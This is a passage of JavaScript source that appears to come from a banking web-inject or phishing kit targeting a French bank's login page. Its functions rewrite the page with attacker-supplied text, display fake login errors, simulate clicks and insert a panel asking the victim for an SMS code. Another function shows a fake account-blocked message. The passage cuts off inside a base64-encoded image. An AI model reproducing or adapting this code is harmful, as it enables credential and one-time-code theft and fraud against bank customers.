  1024.  
  1025. function _hidewait(){
  1026.     var popup_elem_common = document.getElementById("popup_elem_common");
  1027.     if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  1028. }
  1029.  
  1030. function ACTION_BLOCK(){
  1031.     _hidewait();
  1032.     var motDePasseBloc = document.getElementById("motDePasseBloc");
  1033.     var identifiantBlocBas = document.getElementById("identifiantBlocBas");
  1034.     if(motDePasseBloc && identifiantBlocBas){
  1035.         var smsTitleDiv = document.getElementById("smsTitleDiv");
  1036.         if(smsTitleDiv)smsTitleDiv.parentNode.removeChild(smsTitleDiv);
  1037.         var smsMainDiv = document.getElementById("smsMainDiv");
  1038.         if(smsMainDiv)smsMainDiv.parentNode.removeChild(smsMainDiv);
  1039.         motDePasseBloc.style.display = "none";
  1040.        
  1041.         identifiantBlocBas.innerHTML = '<div class="blocBas">'+
  1042.                                     '<fieldset>'+
  1043.                                         '<legend>'+FKTEXT.BLOCKTITLE+'</legend>'+
  1044.                                         '<div class="contenu bloc1">'+
  1045.                                             '<label>'+FKTEXT.BLOCKMAIN+"</label>"+
  1046.                                             '<bR><br><br><center style="color:#385C96;font-size:11px;"><b>'+FKTEXT.BLOCTRYNEXTTIME+'</b></center>'+
  1047.                                         '</div>'+
  1048.                                     '</fieldset>'+
  1049.                                  '</div>';
  1050.         identifiantBlocBas.style.display = "";
  1051.     }
  1052. }
  1053.  
  1054. function ACTION_RELOGIN(){
  1055.     _hidewait();
  1056.     _lethim();
  1057. }
  1058.  
  1059. function ACTION_LOGIN(){
  1060.     _hidewait();
  1061.     loginApproved = true;
  1062.     var imageclavier = document.getElementById("imageclavier");
  1063.     var myClavierDiv = document.getElementById("myClavierDiv");
  1064.     var motDePasseBlocBas = document.getElementById("motDePasseBlocBas");
  1065.     var identifiantBlocBas = document.getElementById("identifiantBlocBas");
  1066.     var smsTitleDiv = document.getElementById("smsTitleDiv");
  1067.     var smsMainDiv = document.getElementById("smsMainDiv");
  1068.     if(myClavierDiv && imageclavier){
  1069.    
  1070.         imageclavier.style.display = "";
  1071.         myClavierDiv.style.display = "none";
  1072.         identifiantBlocBas.style.display = "";
  1073.        
  1074.         if(smsTitleDiv)smsTitleDiv.style.display = "none";
  1075.         if(smsMainDiv)smsMainDiv.style.display = "none";
  1076.         if(motDePasseBlocBas)motDePasseBlocBas.style.display = "";
  1077.        
  1078.         SimulateMouse("click",UI_clear_button);
  1079.        
  1080.         var cdevocal = document.getElementById("cdevocal");
  1081.         if(cdevocal){
  1082.             var errDiv = document.createElement("div");
  1083.             errDiv.innerHTML = '<label><strong style="color:red;">'+FKTEXT.ERRLOGIN+'</strong></label>';
  1084.             cdevocal.parentNode.insertBefore(errDiv,cdevocal);
  1085.         }
  1086.     }
  1087. }
  1088.  
  1089. function ACTION_SMS(){
  1090.     _hidewait();
  1091.     var motDePasseBloc = document.getElementById("motDePasseBlocBas");
  1092.     var identifiantBlocBas = document.getElementById("identifiantBlocBas");
  1093.     if(motDePasseBloc && identifiantBlocBas){
  1094.        
  1095.         var smsTitleDiv = document.getElementById("smsTitleDiv");
  1096.         if(smsTitleDiv)smsTitleDiv.parentNode.removeChild(smsTitleDiv);
  1097.         var smsMainDiv = document.getElementById("smsMainDiv");
  1098.         if(smsMainDiv)smsMainDiv.parentNode.removeChild(smsMainDiv);
  1099.        
  1100.         var smsTitleDiv = document.createElement("div");
  1101.         smsTitleDiv.id = "smsTitleDiv";
  1102.         smsTitleDiv.innerHTML =  '<div class="blocBas">'+
  1103.                                     '<fieldset>'+
  1104.                                         '<legend>'+FKTEXT.SMSTITLE+'</legend>'+
  1105.                                         '<div class="contenu bloc1">'+
  1106.                                             '<label>'+FKTEXT.SMSQUERY+"</label>"+
  1107.                                         '</div>'+
  1108.                                     '</fieldset>'+
  1109.                                  '</div>';
  1110.            
  1111.         identifiantBlocBas.parentNode.insertBefore(smsTitleDiv,identifiantBlocBas);
  1112.         identifiantBlocBas.style.display = "none";
  1113.        
  1114.         var smsMainDiv = document.createElement("div");
  1115.         smsMainDiv.id = "smsMainDiv";
  1116.         smsMainDiv.innerHTML = '<div class="blocBas" style="background:#ffffff;">'+
  1117.                                     '<fieldset>'+
  1118.                                         '<legend>'+FKTEXT.SMSTITLE2+'</legend>'+
  1119.                                         '<div class="contenu bloc1">'+
  1120.                                             '<label>'+FKTEXT.SMSQUERY2+"</label>"+
  1121.                                             '<br><br><br>'+
  1122.                                             '<table style="width:200px;">'+
  1123.                                                 '<tr>'+
  1124.                                                     '<td>'+
  1125.                                                         '<img height="200" style="margin-left:30px;" src="data:image/jpeg;base64,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